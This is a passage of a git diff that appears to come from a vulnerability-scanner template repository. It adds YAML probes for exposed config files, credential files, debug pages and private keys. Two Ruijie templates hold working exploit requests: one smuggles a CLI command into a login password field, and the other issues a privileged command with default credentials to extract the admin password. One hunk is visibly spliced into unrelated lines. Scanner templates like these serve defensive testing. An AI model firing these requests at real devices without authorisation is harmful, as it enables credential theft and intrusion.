"
+ part: body
+
+ - type: word
+ words:
+ - "text/xml"
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/configs/owncloud-config.yaml b/exposures/configs/owncloud-config.yaml
index f17a0a75fb..523c4d6c6f 100644
--- a/exposures/configs/owncloud-config.yaml
+++ b/exposures/configs/owncloud-config.yaml
@@ -4,6 +4,7 @@ info:
name: owncloud config Disclosure
author: Mahendra Purbia (Mah3Sec_)
severity: info
+ tags: config,exposure
requests:
- method: GET
diff --git a/exposures/configs/package-json.yaml b/exposures/configs/package-json.yaml
index 44202a689f..c397c41544 100644
--- a/exposures/configs/package-json.yaml
+++ b/exposures/configs/package-json.yaml
@@ -2,9 +2,10 @@ id: package-json
info:
name: npm package.json disclosure
- author: geeknik & afaq
+ author: geeknik,afaq
severity: info
description: All npm packages contain a file, usually in the project root, called package.json - this file holds various metadata relevant to the project.
+ tags: config,exposure
requests:
- method: GET
diff --git a/exposures/configs/perl-status.yaml b/exposures/configs/perl-status.yaml
index b19c7cbce7..805f1b124f 100644
--- a/exposures/configs/perl-status.yaml
+++ b/exposures/configs/perl-status.yaml
@@ -2,8 +2,9 @@ id: perl-status
info:
name: Apache mod_perl Status Page Exposure
- author: pd-team
+ author: pdteam
severity: medium
+ tags: config,exposure
requests:
- method: GET
diff --git a/exposures/configs/phalcon-framework-source.yaml b/exposures/configs/phalcon-framework-source.yaml
new file mode 100644
index 0000000000..6defaf1e55
--- /dev/null
+++ b/exposures/configs/phalcon-framework-source.yaml
@@ -0,0 +1,25 @@
+id: phalcon-framework-source
+
+info:
+ name: Phalcon Framework Source Code leakage
+ author: philippedelteil
+ severity: high
+ tags: exposure,debug,phalcon
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/anything_here"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - "Phalcon Framework"
+ - "AnythingHereController"
+ condition: and
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/exposures/configs/php-fpm-config.yaml b/exposures/configs/php-fpm-config.yaml
new file mode 100644
index 0000000000..8ee6d315d2
--- /dev/null
+++ b/exposures/configs/php-fpm-config.yaml
@@ -0,0 +1,24 @@
+id: php-fpm-config
+
+info:
+ name: PHP-FPM Config file disclosure
+ author: sheikhrishad
+ severity: low
+ tags: config,exposure,php
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/php-fpm.conf"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "FPM Configuration"
+ - "Pool Definitions"
+ condition: and
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/exposures/configs/phpinfo.yaml b/exposures/configs/phpinfo.yaml
index bfc8c55cd2..7e135845c8 100644
--- a/exposures/configs/phpinfo.yaml
+++ b/exposures/configs/phpinfo.yaml
@@ -2,8 +2,9 @@ id: phpinfo-files
info:
name: phpinfo Disclosure
- author: pd-team
+ author: pdteam,daffainfo,meme-lord
severity: low
+ tags: config,exposure
requests:
- method: GET
@@ -20,9 +21,27 @@ requests:
- "{{BaseURL}}/phpversion.php"
- "{{BaseURL}}/time.php"
- "{{BaseURL}}/index.php"
+ - "{{BaseURL}}/temp.php"
+ - "{{BaseURL}}/old_phpinfo.php"
+ - "{{BaseURL}}/infos.php"
+ - "{{BaseURL}}/linusadmin-phpinfo.php"
+ - "{{BaseURL}}/php-info.php"
+
+ matchers-condition: and
matchers:
- type: word
words:
- "PHP Extension"
- "PHP Version"
condition: and
+
+ - type: status
+ status:
+ - 200
+
+ extractors:
+ - type: regex
+ part: body
+ group: 1
+ regex:
+ - '>PHP Version <\/td>([0-9.]+)'
\ No newline at end of file
diff --git a/exposures/configs/plesk-stat.yaml b/exposures/configs/plesk-stat.yaml
new file mode 100644
index 0000000000..b59b8cb8f0
--- /dev/null
+++ b/exposures/configs/plesk-stat.yaml
@@ -0,0 +1,33 @@
+id: plesk-stat
+
+info:
+ name: Plesk-stat (Log analyzer)
+ author: th3.d1p4k
+ severity: low
+ tags: config,exposure,plesk
+ reference: http://www.webalizer.org
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/plesk-stat/"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - 'Index of /plesk-stat'
+ - 'Parent Directory'
+ condition: and
+
+ - type: word
+ words:
+ - 'anon_ftpstat'
+ - 'ftpstat'
+ - 'webstat-ssl'
+ - 'webstat'
+ condition: or
diff --git a/exposures/configs/proftpd-config.yaml b/exposures/configs/proftpd-config.yaml
new file mode 100644
index 0000000000..ed5a4a8b08
--- /dev/null
+++ b/exposures/configs/proftpd-config.yaml
@@ -0,0 +1,24 @@
+id: proftpd-config
+
+info:
+ name: ProFTPD Config file disclosure
+ author: sheikhrishad
+ severity: low
+ tags: config,exposure,proftpd
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/proftpd.conf"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "ProFTPD"
+ - "ServerName"
+ condition: and
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/exposures/configs/qdpm-info-leak.yaml b/exposures/configs/qdpm-info-leak.yaml
new file mode 100644
index 0000000000..2d3ffedf3c
--- /dev/null
+++ b/exposures/configs/qdpm-info-leak.yaml
@@ -0,0 +1,29 @@
+id: qdpm-info-leak
+
+info:
+ author: gy741
+ description: The password and connection string for the database are stored in a yml file. To access the yml file you can go to http:///core/config/databases.yml file and download.
+ name: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
+ severity: high
+ tags: qdpm,exposure
+ reference: |
+ - https://www.exploit-db.com/exploits/50176
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/core/config/databases.yml'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - 'dsn:'
+ - 'username:'
+ - 'password:'
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/configs/rails-database-config.yaml b/exposures/configs/rails-database-config.yaml
index a957dc27f2..6e5b4f8f2b 100644
--- a/exposures/configs/rails-database-config.yaml
+++ b/exposures/configs/rails-database-config.yaml
@@ -2,17 +2,25 @@ id: rails-database-config
info:
name: Ruby-on-Rails Database Configuration Exposure
- author: pd-team
+ author: pdteam,geeknik
severity: low
+ tags: config,exposure,rails
requests:
- method: GET
path:
- "{{BaseURL}}/config/database.yml"
+
+ matchers-condition: and
matchers:
- type: word
words:
- "adapter:"
- "database:"
+ - "production:"
condition: and
- part: body
\ No newline at end of file
+ part: body
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/exposures/configs/redmine-db-config.yaml b/exposures/configs/redmine-db-config.yaml
deleted file mode 100644
index 56c85c07d1..0000000000
--- a/exposures/configs/redmine-db-config.yaml
+++ /dev/null
@@ -1,25 +0,0 @@
-id: redmine-db-config
-info:
- name: Detect Redmine Database Configuration
- author: geeknik
- description: Redmine is a flexible project management web application written using Ruby on Rails framework - https://redmine.org/projects/redmine
- severity: medium
-
-requests:
- - method: GET
- path:
- - "{{BaseURL}}/config/database.yml"
-
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - adapter
- - database
- - host
- condition: and
-
- - type: status
- status:
- - 200
\ No newline at end of file
diff --git a/exposures/configs/robomongo-credential.yaml b/exposures/configs/robomongo-credential.yaml
new file mode 100644
index 0000000000..39ba75b96f
--- /dev/null
+++ b/exposures/configs/robomongo-credential.yaml
@@ -0,0 +1,33 @@
+id: robomongo-credential
+
+info:
+ name: MongoDB credential disclosure
+ author: geeknik
+ description: MongoDB credentials file used by RoboMongo
+ severity: high
+ tags: mongodb,robomongo,disclosure,config
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/db/robomongo.json"
+ - "{{BaseURL}}/robomongo.json"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: header
+ words:
+ - "application/json"
+
+ - type: word
+ words:
+ - "databaseName"
+ - "userName"
+ - "userPassword"
+ - "serverHost"
+ condition: and
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/exposures/configs/ruijie-eg-password-leak.yaml b/exposures/configs/ruijie-eg-password-leak.yaml
new file mode 100644
index 0000000000..a02f3e155b
--- /dev/null
+++ b/exposures/configs/ruijie-eg-password-leak.yaml
@@ -0,0 +1,46 @@
+id: ruijie-eg-password-leak
+
+info:
+ name: Ruijie EG Easy Gateway Password Leak
+ author: pikpikcu,pdteam
+ severity: high
+ description: Ruijie EG Easy Gateway login.php has CLI command injection, which leads to the disclosure of administrator account and password vulnerability
+ reference: http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20%E7%AE%A1%E7%90%86%E5%91%98%E8%B4%A6%E5%8F%B7%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html
+ vendor: https://www.ruijienetworks.com
+ tags: ruijie,exposure
+
+requests:
+ - raw:
+ - |
+ POST /login.php HTTP/1.1
+ Host: {{Hostname}}
+ Content-Length: 49
+ Content-Type: application/x-www-form-urlencoded
+ X-Requested-With: XMLHttpRequest
+
+ username=admin&password=admin?show+webmaster+user
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - '"data":'
+ - '"status":1'
+ - 'admin'
+ condition: and
+ part: body
+
+ - type: word
+ words:
+ - 'text/json'
+ part: header
+
+ - type: status
+ status:
+ - 200
+
+ extractors:
+ - type: regex
+ group: 1
+ regex:
+ - 'admin ([a-zA-Z0-9#@]+)",'
\ No newline at end of file
diff --git a/exposures/configs/ruijie-information-disclosure.yaml b/exposures/configs/ruijie-information-disclosure.yaml
new file mode 100644
index 0000000000..8776f3ffb8
--- /dev/null
+++ b/exposures/configs/ruijie-information-disclosure.yaml
@@ -0,0 +1,26 @@
+id: ruijie-information-disclosure
+
+info:
+ name: Ruijie Information Disclosure
+ author: pikpikcu
+ severity: high
+ reference: https://www.cnblogs.com/cHr1s/p/14499858.html
+ tags: ruijie,config,exposure
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/login.php'
+
+ matchers-condition: and
+ matchers:
+
+ - type: regex
+ regex:
+ - '"role":"super_admin","name":"(.*)","password":"(.*)"'
+ part: body
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/configs/ruijie-nbr1300g-cli-password-leak.yaml b/exposures/configs/ruijie-nbr1300g-cli-password-leak.yaml
new file mode 100644
index 0000000000..0b73555669
--- /dev/null
+++ b/exposures/configs/ruijie-nbr1300g-cli-password-leak.yaml
@@ -0,0 +1,30 @@
+id: ruijie-nbr1300g-cli-password-leak
+
+info:
+ name: Ruijie NBR1300G Cli Password Leak
+ author: pikpikcu
+ severity: medium
+ reference: http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7NBR%201300G%E8%B7%AF%E7%94%B1%E5%99%A8%20%E8%B6%8A%E6%9D%83CLI%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
+ vendor: https://www.ruijienetworks.com
+ tags: ruijie,exposure
+
+requests:
+ - raw:
+ - |
+ POST /WEB_VMS/LEVEL15/ HTTP/1.1
+ Host: {{Hostname}}
+ Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
+ Content-Length: 111
+
+ command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "webmaster level 2 username guest password guest"
+ part: body
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/configs/ruijie-phpinfo.yaml b/exposures/configs/ruijie-phpinfo.yaml
new file mode 100644
index 0000000000..b57e02ab73
--- /dev/null
+++ b/exposures/configs/ruijie-phpinfo.yaml
@@ -0,0 +1,25 @@
+id: ruijie-phpinfo
+
+info:
+ name: Ruijie Phpinfo
+ author: pikpikcu
+ severity: low
+ reference: https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20phpinfo.view.php%20%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.md
+ tags: phpinfo,rujjie,config,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/tool/view/phpinfo.view.php"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "PHP Version"
+ - "PHP Extension"
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/configs/s3cmd-config.yaml b/exposures/configs/s3cmd-config.yaml
new file mode 100755
index 0000000000..b4af8e090f
--- /dev/null
+++ b/exposures/configs/s3cmd-config.yaml
@@ -0,0 +1,25 @@
+id: s3cmd-config
+
+info:
+ name: S3CMD Configuration Disclosure
+ author: Ice3man
+ severity: info
+ tags: amazon,config,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/s3cmd.ini"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - '[default]'
+ - 'access_key'
+ condition: and
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/exposures/configs/saia-web-server-info.yaml b/exposures/configs/saia-web-server-info.yaml
new file mode 100644
index 0000000000..91bf6d9d5b
--- /dev/null
+++ b/exposures/configs/saia-web-server-info.yaml
@@ -0,0 +1,24 @@
+id: saia-web-server
+
+info:
+ name: Saia PCD Web-Server
+ author: DhiyaneshDk
+ severity: low
+ reference: https://www.exploit-db.com/ghdb/6865
+ tags: config,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/loadtextfile.htm#programinfo"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Saia PCD Web Server "
+ part: body
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/configs/samba-config.yaml b/exposures/configs/samba-config.yaml
new file mode 100644
index 0000000000..bf58536c4f
--- /dev/null
+++ b/exposures/configs/samba-config.yaml
@@ -0,0 +1,24 @@
+id: samba-config
+
+info:
+ name: Samba config file disclosure
+ author: sheikhrishad
+ severity: info
+ tags: config,exposure,smb
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/smb.conf"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "configuration file"
+ - "samba"
+ condition: and
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/exposures/files/server-private-keys.yaml b/exposures/configs/server-private-keys.yaml
similarity index 65%
rename from exposures/files/server-private-keys.yaml
rename to exposures/configs/server-private-keys.yaml
index 4237df51a3..3bfc5c6d13 100644
--- a/exposures/files/server-private-keys.yaml
+++ b/exposures/configs/server-private-keys.yaml
@@ -1,12 +1,15 @@
id: server-private-keys
info:
- name: Detect Private SSH and TLS Keys
+ name: Detect Private SSH, TLS, and JWT Keys
author: geeknik
severity: high
+ tags: config,exposure
+
requests:
- method: GET
path:
+ - "{{BaseURL}}/localhost.key"
- "{{BaseURL}}/host.key"
- "{{BaseURL}}/www.key"
- "{{BaseURL}}/private-key"
@@ -14,12 +17,18 @@ requests:
- "{{BaseURL}}/server.key"
- "{{BaseURL}}/my.key"
- "{{BaseURL}}/key.pem"
+ - "{{BaseURL}}/ssl/localhost.key"
+ - "{{BaseURL}}/ssl/{{Hostname}}.key"
- "{{BaseURL}}/id_rsa"
- "{{BaseURL}}/id_dsa"
- "{{BaseURL}}/.ssh/id_rsa"
- "{{BaseURL}}/.ssh/id_dsa"
- "{{BaseURL}}/{{Hostname}}.key"
- "{{BaseURL}}/{{Hostname}}.pem"
+ - "{{BaseURL}}/config/jwt/private.pem"
+ - "{{BaseURL}}/jwt/private.pem"
+ - "{{BaseURL}}/var/jwt/private.pem"
+ - "{{BaseURL}}/private.pem"
matchers-condition: and
matchers:
@@ -36,3 +45,9 @@ requests:
- type: status
status:
- 200
+
+ - type: dsl
+ dsl:
+ - '!contains(body_2, "Symfony Profiler"
- "symfony/profiler/"
condition: and
- part: body
\ No newline at end of file
+ part: body
diff --git a/exposures/configs/web-config.yaml b/exposures/configs/web-config.yaml
index ff8e9635f0..6847e65983 100644
--- a/exposures/configs/web-config.yaml
+++ b/exposures/configs/web-config.yaml
@@ -3,6 +3,7 @@ info:
name: Web Config file
author: Yash Anand @yashanand155
severity: info
+ tags: config,exposure
requests:
- method: GET
diff --git a/exposures/files/xprober-service.yaml b/exposures/configs/xprober-service.yaml
similarity index 73%
rename from exposures/files/xprober-service.yaml
rename to exposures/configs/xprober-service.yaml
index 3433622609..ca1f311d99 100644
--- a/exposures/files/xprober-service.yaml
+++ b/exposures/configs/xprober-service.yaml
@@ -4,8 +4,8 @@ info:
name: X Prober server information leakage
author: pdteam
severity: low
-
- # Source:- https://twitter.com/bugbounty_tips/status/1339984643517423616
+ tags: config,exposure
+ reference: https://twitter.com/bugbounty_tips/status/1339984643517423616
requests:
- method: GET
diff --git a/exposures/configs/yii-debugger.yaml b/exposures/configs/yii-debugger.yaml
new file mode 100644
index 0000000000..11232d47b1
--- /dev/null
+++ b/exposures/configs/yii-debugger.yaml
@@ -0,0 +1,33 @@
+id: yii-debugger
+
+info:
+ name: View Yii Debugger Information
+ author: geeknik
+ reference: https://yii2-framework.readthedocs.io/en/stable/guide/tool-debugger/
+ severity: info
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/debug/default/view.html"
+ - "{{BaseURL}}/debug/default/view"
+ - "{{BaseURL}}/frontend/web/debug/default/view"
+ - "{{BaseURL}}/web/debug/default/view"
+ - "{{BaseURL}}/sapi/debug/default/view"
+
+ redirects: true
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+ - type: word
+ words:
+ - "Yii Debugger "
+ - "Status"
+ - "Route"
+ - "Log"
+ - "Time"
+ - "Memory"
+ - "DB"
+ condition: and
diff --git a/exposures/configs/zend-config-file.yaml b/exposures/configs/zend-config-file.yaml
new file mode 100644
index 0000000000..8c3039bfeb
--- /dev/null
+++ b/exposures/configs/zend-config-file.yaml
@@ -0,0 +1,27 @@
+id: zend-config-file
+
+info:
+ name: Zend Configuration File
+ author: pdteam
+ severity: high
+ tags: config,exposure,zend,php
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/application/configs/application.ini"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "resources.db.params.password"
+
+ - type: word
+ words:
+ - "text/plain"
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/files/bower-json.yaml b/exposures/files/bower-json.yaml
new file mode 100644
index 0000000000..67f8c44101
--- /dev/null
+++ b/exposures/files/bower-json.yaml
@@ -0,0 +1,31 @@
+id: bower-json
+
+info:
+ name: bower.json file disclosure
+ author: oppsec
+ severity: info
+ description: Bower is a package manager which stores packages informations in bower.json file
+ tags: exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/bower.json"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "name"
+ - "description"
+ - "main"
+ condition: and
+
+ - type: word
+ words:
+ - "application/json"
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/files/cold-fusion-cfcache-map.yaml b/exposures/files/cold-fusion-cfcache-map.yaml
new file mode 100644
index 0000000000..4a91d2f2be
--- /dev/null
+++ b/exposures/files/cold-fusion-cfcache-map.yaml
@@ -0,0 +1,25 @@
+id: cold-fusion-cfcache-map
+
+info:
+ name: Discover Cold Fusion cfcache.map Files
+ reference: https://securiteam.com/windowsntfocus/5bp081f0ac/
+ author: geeknik
+ severity: low
+ tags: exposure,coldfusion,adobe
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/cfcache.map"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Mapping="
+ - "SourceTimeStamp="
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/files/domcfg-page.yaml b/exposures/files/domcfg-page.yaml
index c8566e72e0..1d9bad7a50 100644
--- a/exposures/files/domcfg-page.yaml
+++ b/exposures/files/domcfg-page.yaml
@@ -3,10 +3,8 @@ info:
name: Lotus Domino Configuration Page
author: gevakun
severity: low
-
- # Reference:
- # https://twitter.com/Wh11teW0lf/status/1295594085445709824
- # Do not test any website without permission
+ reference: https://twitter.com/Wh11teW0lf/status/1295594085445709824
+ tags: exposure
requests:
- method: GET
diff --git a/exposures/files/drupal-install.yaml b/exposures/files/drupal-install.yaml
index 6159ac6c7e..664b8c4d40 100644
--- a/exposures/files/drupal-install.yaml
+++ b/exposures/files/drupal-install.yaml
@@ -4,11 +4,13 @@ info:
name: Drupal Install
author: NkxxkN
severity: low
+ tags: exposure
requests:
- method: GET
path:
- "{{BaseURL}}/install.php?profile=default"
+
redirects: true
max-redirects: 1
matchers:
diff --git a/exposures/files/ds_store.yaml b/exposures/files/ds_store.yaml
index c67ec90bb0..a4c66b7fef 100644
--- a/exposures/files/ds_store.yaml
+++ b/exposures/files/ds_store.yaml
@@ -4,13 +4,12 @@ info:
name: Directory Listing via DS_Store
author: 0w4ys
severity: info
+ tags: exposure
requests:
- method: GET
path:
- "{{BaseURL}}/.DS_Store"
- headers:
- User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"
matchers-condition: and
matchers:
diff --git a/exposures/files/exposed-alps-spring.yaml b/exposures/files/exposed-alps-spring.yaml
index 758b046cc7..67f0809567 100644
--- a/exposures/files/exposed-alps-spring.yaml
+++ b/exposures/files/exposed-alps-spring.yaml
@@ -4,8 +4,8 @@ info:
name: Exposed Spring Data REST Application-Level Profile Semantics (ALPS)
author: dwisiswant0
severity: medium
-
- # https://niemand.com.ar/2021/01/08/exploiting-application-level-profile-semantics-apls-from-spring-data-rest/
+ tags: exposure
+ reference: https://niemand.com.ar/2021/01/08/exploiting-application-level-profile-semantics-apls-from-spring-data-rest/
requests:
- method: GET
diff --git a/exposures/files/filezilla.yaml b/exposures/files/filezilla.yaml
index 433093831e..79c0eed924 100644
--- a/exposures/files/filezilla.yaml
+++ b/exposures/files/filezilla.yaml
@@ -4,6 +4,8 @@ info:
name: Filezilla
author: amsda
severity: medium
+ tags: exposure
+
requests:
- method: GET
path:
diff --git a/exposures/files/github-gemfile-files.yaml b/exposures/files/github-gemfile-files.yaml
new file mode 100644
index 0000000000..0444367a2f
--- /dev/null
+++ b/exposures/files/github-gemfile-files.yaml
@@ -0,0 +1,32 @@
+id: github-gemfile-files
+
+info:
+ name: Github Gemfiles
+ author: hahwul
+ severity: info
+ description: Find github page files(Gemfile / Gemfile.lock)
+ tags: github,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/Gemfile"
+ - "{{BaseURL}}/Gemfile.lock"
+
+ matchers-condition: or
+ matchers:
+ - type: dsl
+ dsl:
+ - 'contains(body, "https://rubygems.org")'
+ - 'contains(body, "source")'
+ - 'contains(body, "gem")'
+ - 'status_code == 200'
+ condition: and
+
+ - type: dsl
+ dsl:
+ - 'contains(body, "https://rubygems.org")'
+ - 'contains(body, "remote")'
+ - 'contains(body, "specs")'
+ - 'status_code == 200'
+ condition: and
\ No newline at end of file
diff --git a/exposures/files/github-page-config.yaml b/exposures/files/github-page-config.yaml
new file mode 100644
index 0000000000..368ddee069
--- /dev/null
+++ b/exposures/files/github-page-config.yaml
@@ -0,0 +1,26 @@
+id: github-page-config
+
+info:
+ name: Github pages config file
+ author: hahwul
+ severity: info
+ description: Find github pages config file.
+ tags: github,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/_config.yml"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - "jekyll"
+ - "title"
+ - "baseurl"
+ condition: and
\ No newline at end of file
diff --git a/exposures/files/gogs-install-exposure.yaml b/exposures/files/gogs-install-exposure.yaml
new file mode 100644
index 0000000000..a7369b2cb4
--- /dev/null
+++ b/exposures/files/gogs-install-exposure.yaml
@@ -0,0 +1,25 @@
+id: gogs-install-exposure
+
+info:
+ name: Gogs install exposure
+ author: dhiyaneshDk
+ severity: high
+ tags: gogs,exposure
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/install'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "General Settings"
+ - "Database Settings"
+ part: body
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/files/ioncube-loader-wizard.yaml b/exposures/files/ioncube-loader-wizard.yaml
new file mode 100644
index 0000000000..8e33ae2bbb
--- /dev/null
+++ b/exposures/files/ioncube-loader-wizard.yaml
@@ -0,0 +1,26 @@
+id: ioncube-loader-wizard
+
+info:
+ name: Ioncube Loader Wizard disclosure
+ author: Mubassirpatel
+ severity: medium
+ description: ioncube-loader-wizard is vulnerable to xss,phpinfo, etc.
+ reference: https://firefart.at/post/multiple-vulnerabilities-in-ioncube-loader-wizard/
+ tags: ioncube,disclosure,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/ioncube/loader-wizard.php"
+ - "{{BaseURL}}/loader-wizard.php"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "ionCube Loader Wizard"
+ part: body
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/exposures/files/joomla-file-listing.yaml b/exposures/files/joomla-file-listing.yaml
new file mode 100644
index 0000000000..f9c9eb6eb0
--- /dev/null
+++ b/exposures/files/joomla-file-listing.yaml
@@ -0,0 +1,26 @@
+id: joomla-file-listing
+
+info:
+ name: Joomla database files listing
+ author: iampritam
+ severity: info
+ reference: https://www.exploit-db.com/ghdb/6377
+ description: Searches for the pattern /libraries/joomla/database/ on passed URLs.
+ tags: exposure,joomla,listing
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/libraries/joomla/database/"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Index of /libraries/joomla/database"
+ - "Parent Directory"
+ condition: and
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/exposures/files/keycloak-json.yaml b/exposures/files/keycloak-json.yaml
index 31e0c989de..da1532a209 100644
--- a/exposures/files/keycloak-json.yaml
+++ b/exposures/files/keycloak-json.yaml
@@ -3,6 +3,7 @@ info:
name: Keycloak Json File
author: oppsec
severity: info
+ tags: exposure
requests:
- method: GET
diff --git a/exposures/files/lazy-file.yaml b/exposures/files/lazy-file.yaml
index 800212497d..14072f9a42 100644
--- a/exposures/files/lazy-file.yaml
+++ b/exposures/files/lazy-file.yaml
@@ -4,6 +4,7 @@ info:
name: Lazy File Manager
author: amsda
severity: medium
+ tags: exposure
requests:
- method: GET
diff --git a/exposures/files/php-user-ini-disclosure.yaml b/exposures/files/php-user-ini-disclosure.yaml
new file mode 100644
index 0000000000..0f225008d4
--- /dev/null
+++ b/exposures/files/php-user-ini-disclosure.yaml
@@ -0,0 +1,31 @@
+id: php-user-ini-disclosure
+
+info:
+ name: Php User.ini Disclosure
+ author: dhiyaneshDk
+ severity: medium
+ reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/php-user-ini-disclosure.json
+ tags: exposure,config
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/user.ini"
+ - "{{BaseURL}}/.user.ini"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "assert"
+ - "highlight"
+ - "opcache"
+ - "mssql"
+ - "oci8"
+ - "agent"
+ part: body
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/files/phpunit.yaml b/exposures/files/phpunit.yaml
new file mode 100644
index 0000000000..5a7c36ba61
--- /dev/null
+++ b/exposures/files/phpunit.yaml
@@ -0,0 +1,24 @@
+id: phpunit
+
+info:
+ name: phpunit.xml file disclosure
+ author: pikpikcu
+ severity: info
+ tags: exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/phpunit.xml"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - ""
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/files/putty-private-key-disclosure.yaml b/exposures/files/putty-private-key-disclosure.yaml
new file mode 100644
index 0000000000..1dc255d138
--- /dev/null
+++ b/exposures/files/putty-private-key-disclosure.yaml
@@ -0,0 +1,26 @@
+id: putty-private-key-disclosure
+
+info:
+ name: Putty Private Key Disclosure
+ author: dhiyaneshDk
+ severity: medium
+ reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/putty-private-key-disclosure.json
+ tags: exposure,files
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/my.ppk"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "PuTTY-User-Key-File"
+ - "Encryption:"
+ part: body
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/files/pyproject-disclosure.yaml b/exposures/files/pyproject-disclosure.yaml
new file mode 100644
index 0000000000..27f07ab56a
--- /dev/null
+++ b/exposures/files/pyproject-disclosure.yaml
@@ -0,0 +1,26 @@
+id: pyproject-disclosure
+
+info:
+ name: Pyproject Disclosure
+ author: dhiyaneshDk
+ severity: info
